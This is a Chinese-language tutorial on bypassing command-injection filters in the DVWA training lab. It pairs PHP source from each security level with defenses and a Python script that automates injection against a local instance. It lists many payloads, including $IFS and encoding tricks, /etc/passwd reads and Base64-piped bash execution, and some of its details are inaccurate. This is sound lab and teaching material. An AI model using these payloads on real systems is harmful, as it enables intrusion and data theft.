DVWA命令执行过滤绕过:空格替换与编码技巧
【免费下载链接】DVWA Damn Vulnerable Web Application (DVWA) 项目地址: https://gitcode.com/gh_mirrors/dv/DVWA
1. 命令执行(Command Execution,命令执行)问题概述
命令执行(Command Execution)问题是Web应用程序中常见的高危安全问题之一,当应用程序将用户输入直接传递给系统命令解释器(如Bash、CMD)时可能触发。攻击者可通过精心构造的输入字符串,在服务器上执行任意系统命令,获取敏感信息、控制服务器甚至横向渗透。
DVWA(Damn Vulnerable Web Application)作为经典的Web安全教学平台,在其"Command Injection"模块中提供了从低到高四个安全级别的命令执行场景,完美模拟了真实环境中命令执行问题的成因与防御机制。
2. DVWA命令执行模块环境准备
2.1 环境搭建步骤
# 克隆DVWA仓库
git clone https://gitcode.com/gh_mirrors/dv/DVWA
# 进入项目目录
cd DVWA
# 复制配置文件并修改数据库信息
cp config/config.inc.php.dist config/config.inc.php
# 使用sed命令快速配置数据库(假设使用MySQL默认配置)
sed -i "s/$_DVWA[db_user] = 'dvwa';/$_DVWA[db_user] = 'root';/" config/config.inc.php
sed -i "s/$_DVWA[db_password] = 'p@ssw0rd';/$_DVWA[db_password] = '';/" config/config.inc.php
# 启动PHP内置服务器(端口8080)
php -S 0.0.0.0:8080
访问http://localhost:8080/setup.php完成数据库初始化,默认登录凭据为admin/password。
2.2 安全级别配置
通过DVWA Security页面可切换四个安全级别:
- Low:无任何输入过滤
- Medium:基础关键字过滤
- High:高级正则过滤+输出编码
- Impossible:参数化查询+白名单验证
3. 空格过滤绕过技术详解
3.1 空格过滤原理分析
在Linux系统中,Bash解释器将空格视为命令参数分隔符。DVWA Medium级别代码通常包含如下过滤逻辑:
// Medium级别典型过滤代码
$target = str_replace(array(' ', '&', ';', '&&', '||'), '', $_REQUEST['ip']);
该代码直接移除输入中的空格字符,导致传统命令拼接方式失效:
- 原始注入:
127.0.0.1 && ls - 过滤后:
127.0.0.1&&ls(因缺少空格分隔而执行失败)
3.2 空格替换技术对比
| 绕过方法 | 适用系统 | 示例命令 | 技术原理 | 检测难度 |
|---|---|---|---|---|
| $IFS | Linux | 127.0.0.1&&ls$IFS-l | 使用内部字段分隔符变量 | 低 |
| $IFS$9 | Linux | 127.0.0.1;cat$IFS$9/etc/passwd | 利用Shell参数扩展特性 | 中 |
| < | Linux/Windows | 127.0.0.1<&2;ls | 输入重定向符号 | 低 |
| > | Linux/Windows | 127.0.0.1>&2;dir | 输出重定向符号 | 低 |
| $() | Linux | 127.0.0.1;echo$(whoami) | 命令替换语法 | 中 |
| %20 | URL编码 | 127.0.0.1%26%26ls | URL解码后恢复空格 | 低 |
| %09 | Tab编码 | 127.0.0.1%09ls | ASCII水平制表符 | 中 |
3.3 实战案例:$IFS系列绕过
3.3.1 基础$IFS绕过
# 原始注入(含空格)
127.0.0.1 && ls -l
# 使用$IFS替换空格
127.0.0.1&&ls$IFS-l
3.3.2 $IFS$9增强绕过
当基础$IFS被过滤时,可利用Shell参数扩展特性:
# 带位置参数的绕过
127.0.0.1;cat$IFS$9/etc/passwd
其中$9代表第九个位置参数(通常为空),作用是分隔$IFS与后续字符,避免被过滤规则识别。
4. 字符编码绕过技巧
4.1 URL编码绕过
当应用程序仅过滤原始输入而未处理URL解码时,可使用URL编码绕过:
| 字符 | URL编码 | 二次编码 | 适用场景 | |
|---|---|---|---|---|
| 空格 | %20 | %2520 | 基础过滤 | |
| & | %26 | %2526 | 逻辑与符号过滤 | |
| ; | %3B | %253B | 命令分隔符过滤 | |
| %7C | %257C | 管道符过滤 |
实战示例:
# 原始命令(含&符号)
127.0.0.1 & whoami
# URL编码后
127.0.0.1%26whoami
# 二次编码(应对解码后过滤)
127.0.0.1%2526whoami
4.2 Base64编码执行
对于严格过滤关键字的场景,可通过Base64编码执行命令:
# 将命令"ls -la"进行Base64编码
echo "ls -la" | base64 # 结果:bHMgLWEK
# 在DVWA中执行编码后的命令
127.0.0.1;bash -c 'echo bHMgLWEK|base64 -d|bash'
4.3 Unicode编码绕过
利用Unicode字符的同形异义特性绕过过滤:
# 使用全角字符替换半角字符
127.0.0.1&&ls # 全角数字和符号在部分系统中会被转换为半角
5. DVWA各安全级别绕过实战
5.1 Low级别:无过滤绕过
Low级别代码直接将用户输入拼接到命令中:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
攻击载荷:
127.0.0.1 && cat /etc/passwd
5.2 Medium级别:基础过滤绕过
Medium级别代码进行简单字符替换:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
攻击载荷:
# 使用&代替&&(因只过滤了&&)
127.0.0.1 & ls
# 使用换行符绕过(%0A URL编码)
127.0.0.1%0Als
5.3 High级别:高级过滤绕过
High级别使用正则表达式过滤,且仅允许特定命令前缀:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Validate input
if( stristr( $target, 'ping' ) === false ) {
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
else {
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
}
?>
攻击载荷:
# 利用命令连接符和编码绕过
ping 127.0.0.1|{cat,/etc/passwd}
# 使用通配符绕过关键字过滤
127.0.0.1|ca?? /etc/passwd
5.4 Impossible级别:防御机制解析
Impossible级别采用了多层次防御策略:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put them back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
核心防御措施包括:
- 输入验证:严格验证IP地址格式,拆分四 octet 并分别检查是否为数字
- CSRF防护:使用Anti-CSRF token防止跨站请求伪造
- 输出编码:使用
<pre>标签但未直接输出用户可控内容 - 最小权限:执行命令的Web服务器进程权限最小化
6. 命令执行防御策略
6.1 防御机制对比
| 防御方法 | 实现难度 | 安全性 | 适用性 |
|---|---|---|---|
| 输入验证 | 低 | 中 | 简单场景 |
| 白名单过滤 | 中 | 高 | 固定命令场景 |
| 参数化API | 高 | 高 | 所有场景 |
| 命令沙箱 | 高 | 极高 | 高安全需求 |
| 权限控制 | 中 | 中 | 辅助防御 |
6.2 最佳防御实践
6.2.1 使用参数化API替代直接拼接
// 不安全:直接拼接用户输入
$cmd = "ping " . $_GET['ip'];
system($cmd);
// 安全:使用escapeshellarg处理参数
$safe_ip = escapeshellarg($_GET['ip']);
$cmd = "ping " . $safe_ip;
system($cmd);
// 更安全:使用proc_open等可控API
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open("ping -c 4 " . $safe_ip, $descriptorspec, $pipes);
6.2.2 实现命令白名单机制
// 命令白名单示例
$allowed_commands = [
'ping' => ['/bin/ping', '-c', '4'],
'traceroute' => ['/usr/bin/traceroute', '-n']
];
$command = $_GET['command'];
$target = $_GET['target'];
if (isset($allowed_commands[$command])) {
$cmd = array_merge($allowed_commands[$command], [$target]);
$output = shell_exec(implode(' ', array_map('escapeshellarg', $cmd)));
echo "<pre>$output</pre>";
} else {
die("Command not allowed");
}
7. 命令执行检测与利用自动化
7.1 Python检测脚本
import requests
from urllib.parse import urlencode
def dvwa_cmd_injection(url, session, ip, payload):
"""
DVWA命令执行问题检测函数
Args:
url: DVWA命令执行模块URL
session: 已登录的requests会话对象
ip: 目标IP参数
payload: 命令注入载荷
Returns:
命令执行结果
"""
data = {
'ip': f"{ip}{payload}",
'Submit': 'Submit',
'user_token': session.cookies.get('user_token')
}
response = session.post(url, data=data)
return response.text.split('<pre>')[1].split('</pre>')[0]
# 使用示例
session = requests.Session()
# 登录DVWA获取会话
login_data = {
'username': 'admin',
'password': 'password',
'Login': 'Login'
}
session.post('http://localhost:8080/login.php', data=login_data)
# 检测不同级别的绕过效果
vuln_url = 'http://localhost:8080/vulnerabilities/exec/'
results = {
'low': dvwa_cmd_injection(vuln_url, session, '127.0.0.1', '&&whoami'),
'medium': dvwa_cmd_injection(vuln_url, session, '127.0.0.1', '&whoami'),
'high': dvwa_cmd_injection(vuln_url, session, '127.0.0.1', '|ca\t/etc/passwd')
}
print("命令执行结果:")
for level, result in results.items():
print(f"{level}: {result.strip()[:50]}...")
7.2 常见绕过Payload集合
# 空格绕过集合
127.0.0.1&&ls$IFS-l
127.0.0.1;cat${IFS}/etc/passwd
127.0.0.1<&2;ls
127.0.0.1%09ls # Tab编码
# 命令分隔符绕过
127.0.0.1|ls
127.0.0.1||ls
127.0.0.1&&ls
127.0.0.1;ls
# 编码绕过
127.0.0.1%26%26ls # URL编码
127.0.0.1%0als # 换行符
bash -c 'echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash' # Base64编码
8. 总结与进阶学习
8.1 知识点回顾
- 核心原理:命令执行问题源于用户输入直接拼接到系统命令中,未做安全处理
- 绕过技术:空格替换($IFS系列)、字符编码(URL/Base64)、命令分隔符(|;&&)
- 防御策略:输入验证、白名单机制、参数化API、最小权限原则
8.2 进阶学习路径
8.3 真实案例参考
- CVE-2021-41773 Apache HTTP Server路径穿越与命令执行:通过
../路径穿越结合cgi-bin执行命令 - CVE-2020-1938 Tomcat AJP文件包含与命令执行:利用AJP协议问题读取文件并执行系统命令
- Exchange ProxyShell系列问题:通过OWA接口构造特殊请求执行命令
这些真实问题案例均涉及不同形式的命令执行绕过技术,掌握DVWA中的基础技巧是深入理解高级问题的关键基础。
9. 思考题
- 在DVWA High级别中,如果同时过滤了
|和&,如何利用$()语法构造命令执行 payload? - 当服务器禁用了
bash和sh时,如何利用其他解释器(如perl、python)执行命令? - 结合文件上传问题,如何构造图片马实现命令执行的持久化?
通过DVWA平台的命令执行模块练习,不仅能掌握各种绕过技巧,更重要的是理解问题产生的根本原因,培养安全开发意识,在实际项目中避免类似安全问题。
【免费下载链接】DVWA Damn Vulnerable Web Application (DVWA) 项目地址: https://gitcode.com/gh_mirrors/dv/DVWA
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



